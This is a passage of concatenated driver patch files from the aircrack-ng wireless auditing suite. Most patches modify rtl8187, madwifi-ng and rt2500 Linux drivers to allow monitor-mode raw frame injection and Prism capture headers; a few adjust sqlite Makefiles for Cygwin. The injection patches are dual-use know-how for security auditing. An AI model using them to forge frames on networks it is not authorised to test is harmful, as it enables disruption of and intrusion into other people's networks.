pLed->bLedBlinkInProgress = 0; } else { // Assign LED state to toggle. - if( pLed->BlinkingLedState == LED_ON ) + if( pLed->BlinkingLedState == LED_ON ) pLed->BlinkingLedState = LED_OFF; - else + else pLed->BlinkingLedState = LED_ON; - // Schedule a timer to toggle LED state. + // Schedule a timer to toggle LED state. switch( pLed->CurrLedState ) { case LED_BLINK_NORMAL: pLed->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_NORMAL_INTERVAL); break; case LED_BLINK_SLOWLY: pLed->BlinkTimer.expires = jiffies + LED_BLINK_SLOWLY_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_SLOWLY_INTERVAL); break; @@ -979,11 +998,11 @@ case LED_NO_LINK_BLINK: if( pLed->bLedOn ) { pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_ON_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_ON_INTERVAL); } else { pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_OFF_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_OFF_INTERVAL); } break; @@ -1000,7 +1019,7 @@ void SwLedOn( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ) { @@ -1032,7 +1051,7 @@ void SwLedOff( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ) { @@ -1060,5 +1079,5 @@ } pLed->bLedOn = 0; -} +} diff -Naur r8187_orig/rtl8187/r8187_led.h r8187_rawtx/rtl8187/r8187_led.h --- r8187_orig/rtl8187/r8187_led.h 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/rtl8187/r8187_led.h 2007-05-16 21:51:38.000000000 +0200 @@ -7,7 +7,7 @@ Abstract: definitions and stuctures for rtl8187 led control. - + Major Change History: When Who What ---------- ------ ---------------------------------------------- @@ -127,14 +127,14 @@ void InitLed8187( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed, LED_PIN_8187 LedPin, void * BlinkCallBackFunc); void DeInitLed8187( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed); void @@ -188,42 +188,37 @@ PLED_8187 pLed ); -void -Gpio0LedWorkItemCallback( - void * Context - ); - -void -SwLed0WorkItemCallback( - void * Context - ); - -void -SwLed1WorkItemCallback( - void * Context - ); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void SwLed0WorkItemCallback(struct work_struct *work); +void SwLed1WorkItemCallback(struct work_struct *work); +void Gpio0LedWorkItemCallback(struct work_struct *work); +#else +void SwLed0WorkItemCallback(struct net_device *dev); +void SwLed1WorkItemCallback(struct net_device *dev); +void Gpio0LedWorkItemCallback(struct net_device *dev); +#endif void SwLedBlink( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ); void SwLedCm2Blink( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ); void SwLedOn( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ); void SwLedOff( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ); diff -Naur r8187_orig/symvers r8187_rawtx/symvers --- r8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ r8187_rawtx/symvers 2007-05-13 09:54:44.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd rtl8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. \ Kein Zeilenumbruch am Dateiende. aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r3925.patch0000644000000000000000000000223011226735175021267 0ustar rootrootIndex: ath/if_ath.c =================================================================== --- ath/if_ath.c (revision 3925) +++ ath/if_ath.c (working copy) @@ -3002,6 +3002,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = netdev_priv(dev); + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = &(SKB_CB(skb)->phy); const HAL_RATE_TABLE *rt; @@ -3014,7 +3015,8 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *)skb->data; - try0 = ph->try[0]; +// try0 = ph->try[0]; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try[0]; rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate[0]); power = ph->power > 60 ? 60 : ph->power; @@ -3038,7 +3040,8 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); - if (IEEE80211_IS_MULTICAST(wh->i_addr1)) { + if (IEEE80211_IS_MULTICAST(wh->i_addr1) || ((ic->ic_opmode == +IEEE80211_M_MONITOR) && (skb->data[1]&3) != 0x01) ) { flags |= HAL_TXDESC_NOACK; /* no ack on broad/multicast */ sc->sc_stats.ast_tx_noack++; try0 = 1; aircrack-ng-1.2-beta3/patches/old/sqlite-3.4.2-lib-cygwin.diff0000644000000000000000000000061610761053203022273 0ustar rootroot--- Makefile 2007-10-04 22:56:07.671875000 +0200 +++ Makefile.cygwin 2007-10-04 22:54:07.468750000 +0200 @@ -681,7 +681,7 @@ mkdir -p doc mv $(DOC) doc -install: sqlite3$(TEXE) libsqlite3.la sqlite3.h ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) $(INSTALL) -d $(DESTDIR)$(exec_prefix)/bin aircrack-ng-1.2-beta3/patches/old/rtl8187_1010.0622.patch0000644000000000000000000001477210761053203020647 0ustar rootroot--- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_prismhdr/beta-8187/ieee80211.h 2006-11-29 20:28:16.152853116 +0100 @@ -156,6 +156,23 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +#define IW_MODE_MONITOR_PRISM 15 +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_prismhdr/beta-8187/r8187_core.c 2006-12-16 16:44:12.244211046 +0100 @@ -1112,7 +1112,10 @@ struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + { + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + morefrag = 1; + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -2346,7 +2349,8 @@ if( flen <= rx_urb->actual_length){ - stats.signal = (desc[1] & 0x7f00)>>8; +// stats.signal = (desc[1] & 0x7f00)>>8; + stats.signal = (desc[1] & 0xff00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2368,6 +2372,8 @@ // priv->rxskb = skb; // priv->tempstats = &stats; + + stats.signal -= stats.noise; if(!ieee80211_rx(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_prismhdr/beta-8187/r8187.h 2006-12-16 16:44:31.418296142 +0100 @@ -148,7 +148,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_prismhdr/ieee80211/ieee80211.h 2006-11-29 20:45:25.190415628 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_prismhdr/ieee80211/ieee80211_rx.c 2006-12-14 11:40:23.461865287 +0100 @@ -49,12 +49,72 @@ struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, rx_stats->mac_time); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_prismhdr/ieee80211/ieee80211_tx.c 2006-12-16 11:57:57.695139366 +0100 @@ -458,7 +458,8 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_prismhdr/ieee80211/ieee80211_softmac_wx.c 2006-11-29 20:43:49.275996836 +0100 @@ -245,8 +245,7 @@ goto out; if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } aircrack-ng-1.2-beta3/patches/old/sqlite-3.6.13-lib_cygwin.diff0000644000000000000000000000143311322374733022447 0ustar rootroot--- Makefile.ori 2009-04-14 18:50:49.953125000 +0100 +++ Makefile 2009-04-14 18:52:45.562500000 +0100 @@ -776,14 +776,10 @@ $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) -install: sqlite3$(BEXE) lib_install sqlite3.h sqlite3.pc ${HAVE_TCL:1=tcl_install} - $(INSTALL) -d $(DESTDIR)$(bindir) - $(LTINSTALL) sqlite3$(BEXE) $(DESTDIR)$(bindir) +install: lib_install sqlite3.h $(INSTALL) -d $(DESTDIR)$(includedir) $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(includedir) $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(includedir) - $(INSTALL) -d $(DESTDIR)$(pkgconfigdir) - $(INSTALL) -m 0644 sqlite3.pc $(DESTDIR)$(pkgconfigdir) pkgIndex.tcl: echo 'package ifneeded sqlite3 $(RELEASE) [list load $(TCLLIBDIR)/libtclsqlite3.so sqlite3]' > $@ aircrack-ng-1.2-beta3/patches/old/rt2500-cvs-20050724.patch0000644000000000000000000000435010761053203021102 0ustar rootrootdiff -ur ../rt2500-cvs-20050724/Module/rtmp_data.c ./Module/rtmp_data.c --- ../rt2500-cvs-20050724/Module/rtmp_data.c 2005-07-15 17:40:02.000000000 +0200 +++ ./Module/rtmp_data.c 2005-07-26 19:04:28.000000000 +0200 @@ -2741,6 +2741,23 @@ return (NDIS_STATUS_FAILURE); } + if (pAdapter->PortCfg.BssType == BSS_MONITOR) + { + pAdapter->TxRing[pAdapter->CurEncryptIndex].FrameType = BTYPE_DATA; + pDest = (PUCHAR) pAdapter->TxRing[pAdapter->CurEncryptIndex].va_data_addr; + pTxD = (PTXD_STRUC) pAdapter->TxRing[pAdapter->CurEncryptIndex].va_addr; + MlmeSetPsmBit(pAdapter, PWR_ACTIVE); + memcpy(pDest,skb->data,skb->len); + RTMPWriteTxDescriptor(pTxD, TRUE, CIPHER_NONE, FALSE, FALSE, FALSE, SHORT_RETRY, IFS_BACKOFF, pAdapter->PortCfg.TxRate, 4, skb->len, pAdapter->PortCfg.TxPreambleInUsed, AccessCategory); + + pAdapter->CurEncryptIndex++; + if (pAdapter->CurEncryptIndex >= TX_RING_SIZE) + pAdapter->CurEncryptIndex = 0; + pAdapter->RalinkCounters.EncryptCount++; + + goto skip_all_this_shit; + } + if (EnableTxBurst == 1) FrameGap = IFS_SIFS; else @@ -2779,6 +2796,7 @@ // // Start making 802.11 frame header + // this whole code is just a pathetic mess // memset(&Header_802_11, 0, sizeof(HEADER_802_11)); // Initialize 802.11 header for each fragment if (INFRA_ON(pAdapter)) @@ -3411,6 +3429,7 @@ } while (NumberRequired > 0); +skip_all_this_shit: // Kick Encrypt Control Register at the end of all ring buffer preparation RTMP_IO_WRITE32(pAdapter, SECCSR1, 0x1); diff -ur ../rt2500-cvs-20050724/Module/rtmp_main.c ./Module/rtmp_main.c --- ../rt2500-cvs-20050724/Module/rtmp_main.c 2005-07-15 17:40:02.000000000 +0200 +++ ./Module/rtmp_main.c 2005-07-26 19:03:46.000000000 +0200 @@ -354,6 +354,7 @@ DBGPRINT(RT_DEBUG_INFO, "<==== RTMPSendPackets\n"); +/* if (pAdapter->PortCfg.BssType == BSS_MONITOR) { dev_kfree_skb_irq(skb); @@ -368,7 +369,7 @@ // And Mibss for Ad-hoc mode setup dev_kfree_skb_irq(skb); } - else + else*/ { // This function has to manage NdisSendComplete return call within its routine // NdisSendComplete will acknowledge upper layer in two steps. aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r1730.patch0000644000000000000000000000174310761053203021253 0ustar rootrootdiff -ur madwifi-r1724/ath/if_ath.c patched-madwifi-r1730/ath/if_ath.c --- madwifi-r1724/ath/if_ath.c 2006-09-22 17:55:11.984375000 +0200 +++ patched-madwifi-r1724/ath/if_ath.c 2006-09-23 16:00:36.296875000 +0200 @@ -2258,6 +2258,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2274,7 +2275,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-beta3/patches/old/rtl8187_2.6.21v5.patch0000644000000000000000000126676710761053203020715 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211_crypt.h rtl8187_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_orig/beta-8187/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211_crypt.h 2007-07-13 01:46:27.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-07-13 01:46:27.000000000 +0200 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int 